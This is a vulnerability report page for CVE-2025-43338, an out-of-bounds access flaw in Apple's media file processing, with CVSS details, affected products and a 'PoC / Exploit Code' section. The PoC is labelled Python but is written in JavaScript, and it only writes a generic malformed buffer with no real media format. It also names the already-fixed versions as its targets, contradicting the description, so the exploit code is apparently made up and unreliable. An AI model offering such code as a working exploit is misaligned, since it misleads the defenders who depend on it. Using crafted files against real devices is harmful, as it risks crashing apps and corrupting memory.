Security Vulnerability Report
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CVE-2025-43338 CVSS 7.1 HIGH

CVE-2025-43338

Published: 2025-11-04 02:15:41
Last Modified: 2026-04-02 19:20:30

Description

An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 26 and iPadOS 26, macOS Sonoma 14.8.2, macOS Sonoma 14.8.4, macOS Tahoe 26. Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple iOS < 26
Apple iPadOS < 26
Apple macOS Sonoma < 14.8.2
Apple macOS Sonoma < 14.8.4
Apple macOS Tahoe < 26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43338 PoC - Malicious Media File Generator // This PoC generates a malformed media file that triggers out-of-bounds access const fs = require('fs'); class CVE202543338PoC { constructor() { this.header = Buffer.alloc(12); // Craft malicious header with invalid dimensions this.header.writeUInt32BE(0x00000001, 0); // Magic number this.header.writeUInt32BE(0xFFFFFFFF, 4); // Malformed size (triggers overflow) this.header.writeUInt32BE(0x00000001, 8); // Invalid flags // Malformed metadata chunk this.metadata = Buffer.alloc(256); this.metadata.write('CVE-2025-43338 PoC', 0, 20); // Craft invalid dimension values this.metadata.writeUInt32BE(0x7FFFFFFF, 20); // Invalid width this.metadata.writeUInt32BE(0x7FFFFFFF, 24); // Invalid height // Malformed data chunk with overflow trigger this.dataChunk = Buffer.alloc(1024); this.dataChunk.fill(0x41); // Fill with 'A' bytes this.dataChunk.writeUInt32BE(0xFFFFFFFF, 0); // Invalid chunk size } generatePocFile() { const pocBuffer = Buffer.concat([ this.header, this.metadata, this.dataChunk ]); fs.writeFileSync('CVE-2025-43338.malicious', pocBuffer); console.log('[+] PoC file generated: CVE-2025-43338.malicious'); console.log('[+] File size:', pocBuffer.length, 'bytes'); return pocBuffer; } } // Execute PoC generation const poc = new CVE202543338PoC(); poc.generatePocFile(); console.log('[+] Target: Apple iOS 26, iPadOS 26, macOS Sonoma/macOS Tahoe'); console.log('[+] Vulnerability: Out-of-bounds access via malformed media file');

References

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